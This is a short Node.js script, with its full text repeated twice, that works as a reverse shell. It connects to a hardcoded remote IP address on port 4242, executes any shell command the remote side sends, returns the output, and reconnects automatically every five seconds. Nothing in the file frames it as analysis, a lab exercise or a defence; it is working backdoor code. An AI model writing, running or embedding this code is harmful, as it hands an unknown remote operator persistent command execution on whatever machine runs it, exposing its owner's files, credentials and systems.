const net = require("net");
const { exec } = require("child_process");

const HOST = "46.250.232.217";
const PORT = 4242;
const RECONNECT_DELAY_MS = 5000;

function connect() {
  const client = new net.Socket();

  client.connect(PORT, HOST, () => {
    console.log(`Connected to ${HOST}:${PORT}`);
    client.setKeepAlive(true, 30 * 1000);
    client.write("Hello\n");
  });

  client.on("data", data => {
    const command = data.toString().trim();
    console.log(`Received command: ${command}`);
    if (!command) return;

    exec(command, (error, stdout, stderr) => {
      const response = error ? `ERROR: ${error.message}\n` : stdout || stderr;
      client.write(`--- OUTPUT ---\n${response}\n`);
    });
  });

  client.on("close", () => {
    console.log(`Connection closed, reconnecting in ${RECONNECT_DELAY_MS}ms...`);
    setTimeout(connect, RECONNECT_DELAY_MS);
  });

  client.on("error", err => {
    console.error(`Error: ${err.message}`);
    // don't reconnect here — 'close' will fire right after and handle it
  });
}

// graceful shutdown on Ctrl+C
process.on("SIGINT", () => {
  console.log("\nShutting down...");
  process.exit(0);
});

connect();

const net = require("net");
const { exec } = require("child_process");

const HOST = "46.250.232.217";
const PORT = 4242;
const RECONNECT_DELAY_MS = 5000;

function connect() {
  const client = new net.Socket();

  client.connect(PORT, HOST, () => {
    console.log(`Connected to ${HOST}:${PORT}`);
    client.setKeepAlive(true, 30 * 1000);
    client.write("Hello\n");
  });

  client.on("data", data => {
    const command = data.toString().trim();
    console.log(`Received command: ${command}`);
    if (!command) return;

    exec(command, (error, stdout, stderr) => {
      const response = error ? `ERROR: ${error.message}\n` : stdout || stderr;
      client.write(`--- OUTPUT ---\n${response}\n`);
    });
  });

  client.on("close", () => {
    console.log(`Connection closed, reconnecting in ${RECONNECT_DELAY_MS}ms...`);
    setTimeout(connect, RECONNECT_DELAY_MS);
  });

  client.on("error", err => {
    console.error(`Error: ${err.message}`);
    // don't reconnect here — 'close' will fire right after and handle it
  });
}

// graceful shutdown on Ctrl+C
process.on("SIGINT", () => {
  console.log("\nShutting down...");
  process.exit(0);
});

connect();